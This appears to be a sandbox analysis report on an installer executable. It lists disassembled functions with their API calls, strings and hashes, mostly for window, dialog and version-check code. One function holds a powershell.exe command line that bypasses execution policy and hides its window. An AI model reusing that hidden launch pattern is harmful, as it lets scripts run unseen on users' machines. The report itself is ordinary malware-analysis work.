Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$LongMessageSend$ClientRect$CreateDestroyExceptionRaise
String ID: SCROLLBAR
API String ID: 1610637866-324577739
Opcode ID: 887d15309fa21c51338fb73e3f6beb30aea78b1db2efc544098a20d408753b55
Instruction ID: a8bd76eb6e27d1db96bd2d8d59109be517d43b3152b13756a4b611920ac182d2
Opcode Fuzzy Hash: 887d15309fa21c51338fb73e3f6beb30aea78b1db2efc544098a20d408753b55
Instruction Fuzzy Hash: 0ED18E70208341AFE754CF29C948B6ABBF4FF85714F108A1DF695A72A0D771E944CB92

Function 0008F1B0 Relevance: 31.8, APIs: 9, Strings: 9, Instructions: 323COMMON

Download Yara Rule

Strings

ps1, xrefs: 0008F259, 0008F269
Unable to find file , xrefs: 0008F1E3
Unable to retrieve exit code from process., xrefs: 0008F52C
D, xrefs: 0008F349
Unable to retrieve PowerShell output from file: , xrefs: 0008F509
Unable to create process: , xrefs: 0008F3AF
Unable to get a temp file for script output, temp path: , xrefs: 0008F2B9
powershell.exe -NonInteractive -NoLogo -ExecutionPolicy Unrestricted -WindowStyle Hidden -Command "$host.UI.RawUI.BufferSize = new, xrefs: 0008F309
txt, xrefs: 0008F27D

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID:
String ID: D$Unable to create process: $Unable to find file $Unable to get a temp file for script output, temp path: $Unable to retrieve PowerShell output from file: $Unable to retrieve exit code from process.$powershell.exe -NonInteractive -NoLogo -ExecutionPolicy Unrestricted -WindowStyle Hidden -Command "$host.UI.RawUI.BufferSize = new$ps1$txt
API String ID: 0-2137955053
Opcode ID: 9ce9324c13297446351c9b8ed3bae4da0192fed48464e5e058a2836379ec9680
Instruction ID: f73df4de5b6e4b063401ac0ff56096fed2b93765cfd4d09972cc3b8957de7eb2
Opcode Fuzzy Hash: 9ce9324c13297446351c9b8ed3bae4da0192fed48464e5e058a2836379ec9680
Instruction Fuzzy Hash: DFC1BF31D0060AEBDB10DFA8DD45BEEBBB4FF19314F108269F515AB291DB74AA44CB90

Function 000BB6D0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 172windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000BB706
GetParent.USER32(00000000), ref: 000BB709
GetParent.USER32(00000000), ref: 000BB70C
ShowWindow.USER32(00000000,00000001), ref: 000BB711
GetParent.USER32(?), ref: 000BB72F
GetDlgItem.USER32(?,0000041D), ref: 000BB752
ShowWindow.USER32(00000000,00000000), ref: 000BB75D
GetDlgItem.USER32(?,0000040F), ref: 000BB76B
SendMessageW.USER32(00000000,00001036,00000000,00004020), ref: 000BB786
SendMessageW.USER32(?,00001061,00000000,?), ref: 000BB7EA
SendMessageW.USER32(?,00001061,00000001,0000000F), ref: 000BB84B
GetDlgItem.USER32(FFFFFFFF,0000041C), ref: 000BB895
GetWindowLongW.USER32(00000000,000000F0), ref: 000BB8A4
SetWindowLongW.USER32(?,000000F0,00000000), ref: 000BB8BF
GetClientRect.USER32(?,?), ref: 000BB8CF
SendMessageW.USER32(?,0000101D,00000000,00000000), ref: 000BB8E4
SendMessageW.USER32(?,0000101E,00000001,00000000), ref: 000BB8FF

Strings

d, xrefs: 000BB836

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageSend$ParentWindow$Item$LongShow$ClientRect
String ID: d
API String ID: 786800583-2564639436
Opcode ID: 9609713b90495fe70c4d8d4d23f4cb7184e2974318de0a57df8ec648dcafc871
Instruction ID: a5d44e2df6d28c286613c3ad77d7af72ed8de7db41161ec13a9e279b244609dc
Opcode Fuzzy Hash: 9609713b90495fe70c4d8d4d23f4cb7184e2974318de0a57df8ec648dcafc871
Instruction Fuzzy Hash: 30615C70A40248AFDB10DFA4CD59BDDBBB5FF48310F148269E915AB295DBB55840CFA0

Function 000E10E0 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 140windowCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 000E1108
GetDlgItem.USER32(?,00003027), ref: 000E112A
GetWindowRect.USER32(00000000,?), ref: 000E1138
GetDlgItem.USER32(?,00003026), ref: 000E1142
GetWindowRect.USER32(00000000,?), ref: 000E114A
ScreenToClient.USER32(?,?), ref: 000E115A
ScreenToClient.USER32(?,?), ref: 000E1168
ScreenToClient.USER32(?,?), ref: 000E1172
ScreenToClient.USER32(?,?), ref: 000E1180
GetPropW.USER32(?,IsExterior), ref: 000E1188
SendMessageW.USER32(?,00000474,00000000,00000000), ref: 000E11DF
SendMessageW.USER32(?,00000481,?,00000000), ref: 000E11EE
SendMessageW.USER32(00000000,0000130A,00000000,?), ref: 000E11FC
GetWindowRect.USER32(00000000,?), ref: 000E1204
ScreenToClient.USER32(?,?), ref: 000E1218
ScreenToClient.USER32(?,?), ref: 000E1226
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014), ref: 000E1257

Strings

IsExterior, xrefs: 000E1182

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Client$Screen$RectWindow$MessageSend$Item$Prop
String ID: IsExterior
API String ID: 2803908811-3989742051
Opcode ID: f7cb590d9cadd59b3eef95f3e1f6c06bbfc64ca9f2723cfcbdb933884937b4f8
Instruction ID: fd634f222a1bfa8b75257d4a4921de29a5c177db7d90dc5df3692dce88a022e5
Opcode Fuzzy Hash: f7cb590d9cadd59b3eef95f3e1f6c06bbfc64ca9f2723cfcbdb933884937b4f8
Instruction Fuzzy Hash: 2541AD71604205AFEB14DF64DE85EABBBECEF88710F048519FA45AB194D770ED04CBA2

Function 00088E70 Relevance: 30.0, APIs: 12, Strings: 5, Instructions: 300stringCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000008), ref: 00088ED3
lstrcmpiW.KERNEL32(?,static), ref: 00088EE6
GetWindowLongW.USER32(?,000000F0), ref: 00088EFB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00088F0F
GetWindowLongW.USER32(?,000000F0), ref: 00088F1A
LoadCursorW.USER32(00000000,00007F89), ref: 00088F5C
SystemParametersInfoW.USER32(0000001F,0000005C,?,00000000), ref: 00088F91
CreateFontIndirectW.GDI32(?), ref: 00088F9E
CreateWindowExW.USER32(00000000,tooltips_class32,00000000,00000000,80000000,80000000,00000000,00000000,?,00000000,00000000), ref: 00088FEF
GetWindowTextLengthW.USER32(?), ref: 0008900D
GetWindowTextW.USER32(?,?,00000001), ref: 0008908C

Strings

static, xrefs: 00088EDD
tooltips_class32, xrefs: 00088FE8
Anchor Color, xrefs: 00089177
Software\Microsoft\Internet Explorer\Settings, xrefs: 0008912A
Anchor Color Visited, xrefs: 000891E5

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Long$CreateText$ClassCursorFontIndirectInfoLengthLoadNameParametersSystemlstrcmpi
String ID: Anchor Color$Anchor Color Visited$Software\Microsoft\Internet Explorer\Settings$static$tooltips_class32
API String ID: 1715782676-2451883503
Opcode ID: 4f15497530e6d488f3d470a1890024ec04213bf029be0b0c578e9347f0622fac
Instruction ID: 2f8482c42096240d022e0b46fbfc03d5d567614e4e86d71ca151ecdc1a88d211
Opcode Fuzzy Hash: 4f15497530e6d488f3d470a1890024ec04213bf029be0b0c578e9347f0622fac
Instruction Fuzzy Hash: 87B1CE70A04219AFEB60EF24CD49BAAB7F9FF05310F144269E549E2691DB70AD84CB91

Function 000B83B0 Relevance: 27.2, APIs: 18, Instructions: 236windowCOMMON

Download Yara Rule

APIs

Part of subcall function 000BECF0: CreateThread.KERNEL32(00000000,00000000,000BF2D0,?,00000000,75C08FAC), ref: 000BED0D
Part of subcall function 000BECF0: CreateThread.KERNEL32(00000000,00000000,000BF2D0,FFFFFFFF,00000000,?), ref: 000BED3A

GetParent.USER32(?), ref: 000B8406
GetWindowLongW.USER32(00000000,000000EC), ref: 000B8411
SetWindowLongW.USER32(00000000,000000EC,00000000), ref: 000B842D
GetParent.USER32(?), ref: 000B8432
GetWindowLongW.USER32(00000000,000000F0), ref: 000B843D
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 000B8453
GetDlgItem.USER32(?,000003F7), ref: 000B84A2
ShowWindow.USER32(00000000,00000000,?,?,?,?,?,00111C45,000000FF,?,000B7D51), ref: 000B84AB
GetParent.USER32(?), ref: 000B84C0
GetParent.USER32(?), ref: 000B8538
SendMessageW.USER32(00000000,00000478,00000000,?), ref: 000B8544
GetParent.USER32(?), ref: 000B859B

Part of subcall function 000A0920: GetWindowLongW.USER32(428D0824,000000F0), ref: 000A0967
Part of subcall function 000A0920: GetParent.USER32 ref: 000A097D
Part of subcall function 000A0920: GetWindowRect.USER32(428D0824,?), ref: 000A0988
Part of subcall function 000A0920: GetParent.USER32(428D0824), ref: 000A0990
Part of subcall function 000A0920: GetClientRect.USER32(00000000,?), ref: 000A099F
Part of subcall function 000A0920: GetClientRect.USER32(?,?), ref: 000A09A8
Part of subcall function 000A0920: MapWindowPoints.USER32(00000002,00000000,?,00000002), ref: 000A09B4

GetDlgItem.USER32(?), ref: 000B85C1
SendMessageW.USER32(00000000,00000031,00000000,00000000), ref: 000B85D6
SetWindowLongW.USER32(00000000,000000FC,00000000), ref: 000B8612
GetWindowLongW.USER32(?,000000F0), ref: 000B862E
SetWindowLongW.USER32(?,000000F0,00000000), ref: 000B8646
ShowWindow.USER32(?,00000000), ref: 000B8678

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Long$Parent$Rect$ClientCreateItemMessageSendShowThread$Points
String ID:
API String ID: 2520692887-0
Opcode ID: 574643b75c74cfe2affdf0dc26885d47047ad49ab004e5d8186b223e2b8d1325
Instruction ID: 16b9a9256845755243b7bc1da35a9859c7bd8fa7680bec0d755032e846f03559
Opcode Fuzzy Hash: 574643b75c74cfe2affdf0dc26885d47047ad49ab004e5d8186b223e2b8d1325
Instruction Fuzzy Hash: 81918170640A06AFDB159F34CD45FEAB7A9FF04714F008618F52A976E2DB74E850CB80

Function 000A3570 Relevance: 27.2, APIs: 18, Instructions: 176windowtimeCOMMON

Download Yara Rule

APIs

IsAppThemed.UXTHEME(0CE81EE3), ref: 000A359D
EnableThemeDialogTexture.UXTHEME(?,00000006), ref: 000A35AC
SetWindowTextW.USER32(?,?), ref: 000A35BB
GetDlgItem.USER32(?,00000407), ref: 000A35D0
GetWindowRect.USER32(00000000,?), ref: 000A35DB
ScreenToClient.USER32(?,?), ref: 000A35EE
ScreenToClient.USER32(?,?), ref: 000A35FB
SendMessageW.USER32(?,000000CB,00000003,00000000), ref: 000A3637
SendMessageW.USER32(?,0000043B,00000000,00000000), ref: 000A3645
SendMessageW.USER32(?,00000445,00000000,00000000), ref: 000A3657
SendMessageW.USER32(?,0000045B,00000000,00000000), ref: 000A3665
GetWindowRect.USER32(?,?), ref: 000A367B
GetDesktopWindow.USER32 ref: 000A3688
GetWindowRect.USER32(00000000), ref: 000A368F
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000005), ref: 000A36BA
SendMessageW.USER32(?,00000435,00000000,?), ref: 000A36FC
SendMessageW.USER32(?,00000449,00000002,?), ref: 000A3720

Part of subcall function 000BE780: SendMessageW.USER32(?,00000437,00000000,?), ref: 000BE7DE
Part of subcall function 000BE780: SendMessageW.USER32(?,0000043A,00000001,00000074), ref: 000BE809
Part of subcall function 000BE780: SendMessageW.USER32(?,00000444,00000001,00000074), ref: 000BE8D9

SetTimer.USER32(00000000,00000000,00007530,00000000), ref: 000A3738

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: MessageSend$Window$Rect$ClientScreen$DesktopDialogEnableItemTextTextureThemeThemedTimer
String ID:
API String ID: 2721598595-0
Opcode ID: 88792a769e43bab96a6ac9c2bf325c8546cff5074d343ff255e2d221e837974d
Instruction ID: a8a9c442e229b227ddda36fbae2b43a48b04101146475485ec19c8c4c989130e
Opcode Fuzzy Hash: 88792a769e43bab96a6ac9c2bf325c8546cff5074d343ff255e2d221e837974d
Instruction Fuzzy Hash: 266170B1A40208AFEB10DFA4DD85FAEBBB5FF48710F118215F905AA1E5D770A944CB50

Function 000BA000 Relevance: 27.1, APIs: 18, Instructions: 96windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 000BA038
GetParent.USER32(00000000), ref: 000BA03B
GetParent.USER32(00000000), ref: 000BA03E
GetSystemMenu.USER32(00000000,00000001,?,?,?,?,00000000,0011222D,000000FF), ref: 000BA043
GetParent.USER32(?), ref: 000BA04C
GetParent.USER32(00000000), ref: 000BA04F
GetParent.USER32(00000000), ref: 000BA052
DrawMenuBar.USER32(00000000), ref: 000BA055
GetParent.USER32(?), ref: 000BA063
GetParent.USER32(00000000), ref: 000BA066
GetParent.USER32(00000000), ref: 000BA069
GetSystemMenu.USER32(00000000,00000000,?,?,?,?,00000000,0011222D,000000FF), ref: 000BA06E
ModifyMenuW.USER32(00000000,0000F060,00000001,00000000,00000000), ref: 000BA08C
GetParent.USER32(?), ref: 000BA095
GetParent.USER32(00000000), ref: 000BA098
GetParent.USER32(00000000), ref: 000BA09B
DrawMenuBar.USER32(00000000), ref: 000BA09E
DestroyMenu.USER32(00000000,?,?,?,?,00000000,0011222D,000000FF), ref: 000BA0B0

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Parent$Menu$DrawSystem$DestroyModify
String ID:
API String ID: 3172740558-0
Opcode ID: da1761556d5fe0c8f95b87084aaf8b6e72b5d5e210820277ebf05d7e8a521825
Instruction ID: c9a5f91c61205ff2ad830cbde668a8b21eb38e799dbd39043cc64fbd2b96ab0d
Opcode Fuzzy Hash: da1761556d5fe0c8f95b87084aaf8b6e72b5d5e210820277ebf05d7e8a521825
Instruction Fuzzy Hash: 58318D71A40218BBDB24AFA5DD4CF9BBFACEF45720F008655F915DB690CB74D940CAA0

Function 000D21B0 Relevance: 26.7, APIs: 14, Strings: 1, Instructions: 448threadsynchronizationwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 000BEDE0: CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,00000034,00000000,00000000,?,00000000,00000000,80070057,00000000,?,0000000C,00000000,000BEDFE), ref: 000BEE0A

PostThreadMessageW.USER32(?,000000FF,00000001,?), ref: 000D2224
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 000D222E
GetExitCodeThread.KERNEL32(?,?,?,?,?,00000000,00000000,?,?,?,?,?,0CE81EE3,?,?), ref: 000D264D
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 000D2658
WaitForSingleObject.KERNEL32(?,?,?,?,?,00000000,00000000,?,?,?,?,?,0CE81EE3,?,?), ref: 000D267E
GetExitCodeThread.KERNEL32(?,?), ref: 000D2698
TerminateThread.KERNEL32(?,00000000), ref: 000D26AC
CloseHandle.KERNEL32(?), ref: 000D26B5
GetExitCodeThread.KERNEL32(?,?,?,?,?,00000000,00000000,?,?,?,?,?,0CE81EE3,?,?), ref: 000D26ED
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 000D26F8
WaitForSingleObject.KERNEL32(?,?,?,?,?,00000000,00000000,?,?,?,?,?,0CE81EE3,?,?), ref: 000D271A
GetExitCodeThread.KERNEL32(?,?), ref: 000D2734
TerminateThread.KERNEL32(?,00000000), ref: 000D2748
CloseHandle.KERNEL32(?), ref: 000D2751

Strings

AutoUpdatePolicy, xrefs: 000D22C7, 000D22D7

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Thread$CodeExit$ErrorLast$CloseHandleObjectSingleTerminateWait$CreateFileMappingMessagePost
String ID: AutoUpdatePolicy
API String ID: 3027017573-4250888325
Opcode ID: 897a9c618326930f674b54b1aff726a09d53e22f9f12f972061736539e2b5554
Instruction ID: f9fdf38778635faf97eebac042de0f6c29c8d5fc4f02670b923c4f5344694061
Opcode Fuzzy Hash: 897a9c618326930f674b54b1aff726a09d53e22f9f12f972061736539e2b5554
Instruction Fuzzy Hash: CE026570500349EFDB68CF64C988BEEBBE4AF25314F04811AFC15A7291D775E989CBA0

Function 000BC020 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 333windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 000BC03E
IsWindowVisible.USER32(?), ref: 000BC085
SendMessageW.USER32(?,0000000B,00000000,00000000), ref: 000BC09B
SendMessageW.USER32(?,0000000B,00000001,00000000), ref: 000BC279
RedrawWindow.USER32(?,00000000,00000000,00000185), ref: 000BC28A
SetPropW.USER32(?,IsExterior,00000001), ref: 000BC306
GetWindowLongW.USER32(?,000000EC), ref: 000BC317
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000BC328

Strings

IsExterior, xrefs: 000BC2FE

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Long$MessageSend$PropRedrawVisible
String ID: IsExterior
API String ID: 3598606994-3989742051
Opcode ID: 30351a803414b0f8b2dd33c46d6c6c13f1dc9343410699bbae09f0b8962e8053
Instruction ID: 06934fb09965cfefd27064554a78be02ebd6ee4245ff05c0340c1e1228c16ad4
Opcode Fuzzy Hash: 30351a803414b0f8b2dd33c46d6c6c13f1dc9343410699bbae09f0b8962e8053
Instruction Fuzzy Hash: D4C19E306083049FE724DF68C984BABBBE1FF88704F50492DF596976A1D7B1E944CB91

Function 000E1280 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 286windowCOMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000F0), ref: 000E12AC
GetWindowLongW.USER32(?,000000F0), ref: 000E12BD
SetWindowLongW.USER32(?,000000F0,00000000), ref: 000E12D1

Part of subcall function 00078700: RaiseException.KERNEL32(00000000,00000000,00000000,00000000,000E5BDA,C000008C,00000001,?,000E5C0B,00000000,?,00000000,?,00073C47,00000000,0CE81EE3), ref: 0007870C

GetWindowLongW.USER32(?,000000EC), ref: 000E12E4
SetWindowLongW.USER32(?,000000EC,00000000), ref: 000E12F5
SendMessageW.USER32(?,0000007F,00000000,00000000), ref: 000E130A
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 000E131A
IsWindow.USER32(00000000), ref: 000E1332
DestroyWindow.USER32(00000000), ref: 000E134E
GetClientRect.USER32(?), ref: 000E13A9
IsWindow.USER32(00000000), ref: 000E13E8
CreateWindowExW.USER32(00000000,SCROLLBAR,00000000,5402001C,?,?,?,?,?,0000E801,00000000), ref: 000E142C
IsWindow.USER32(00000000), ref: 000E1435
GetClientRect.USER32(75C04810,?), ref: 000E14C0

Strings

SCROLLBAR, xrefs: 000E1425

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: Window$Long$ClientMessageRectSend$CreateDestroyExceptionRaise
String ID: SCROLLBAR
API String ID: 3726670472-324577739
Opcode ID: e4df07e596031ca94614d0b86f3d3f893c82b364920a46c9807fc5d62bcd3480
Instruction ID: 711fe03a3311fe7fcc23cf266bb6c52024f2187dadf0c630e96ccd050dc6d0c1
Opcode Fuzzy Hash: e4df07e596031ca94614d0b86f3d3f893c82b364920a46c9807fc5d62bcd3480
Instruction Fuzzy Hash: 08B18D71608341AFD750CF29CD84BAABBE5FF89310F10861DF959A7690D770E984CB92

Function 0008E500 Relevance: 26.5, APIs: 3, Strings: 12, Instructions: 245libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 0008E828
GetProcAddress.KERNEL32(00000000), ref: 0008E82F
GetCurrentProcess.KERNEL32(?), ref: 0008E866

Strings

CSDVersion, xrefs: 0008E789
CurrentVersion, xrefs: 0008E5F8
rs_prerelease, xrefs: 0008E700
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 0008E564
BuildBranch, xrefs: 0008E6D5
kernel32, xrefs: 0008E823
CurrentMinorVersionNumber, xrefs: 0008E5C9
IsWow64Process, xrefs: 0008E81E
CurrentBuildNumber, xrefs: 0008E66D
ReleaseId, xrefs: 0008E738
CurrentMajorVersionNumber, xrefs: 0008E5AA
co_release, xrefs: 0008E6E8

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272042366.0000000000149000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.000000000014C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272057731.0000000000241000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70000_SET_UP.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: BuildBranch$CSDVersion$CurrentBuildNumber$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$IsWow64Process$ReleaseId$Software\Microsoft\Windows NT\CurrentVersion$co_release$kernel32$rs_prerelease
API String ID: 4190356694-525127412
Opcode ID: 3044f48f6969f9d1efe80680b223323ed4bb7079c0bd8b8aad944c89e38b4ba0
Instruction ID: e4f646317c6f2e7046266c03907e25afae4a22065794d417095cc7339ef7dd89
Opcode Fuzzy Hash: 3044f48f6969f9d1efe80680b223323ed4bb7079c0bd8b8aad944c89e38b4ba0
Instruction Fuzzy Hash: E3A1AE7190436CDEDB60DF21DD85BE9B7F8FF04705F0441AAE589A2291EB74AA84CF90

Function 000A0330 Relevance: 25.8, APIs: 17, Instructions: 340COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(00000000,?), ref: 000A037A
GetWindowRect.USER32(00000000,?), ref: 000A0388
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 000A03B4
InvalidateRect.USER32(00000000,00000000,00000001), ref: 000A06B5
SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000014), ref: 000A06DF

Memory Dump Source

Source File: 00000000.00000002.2271966853.0000000000071000.00000020.00000001.01000000.00000003.sdmp, Offset: 00070000, based on PE: true

Associated: 00000000.00000002.2271950076.0000000000070000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2272017645.000000000011C000.00000002.00000001.01000000.00000003.sdmpDownload File
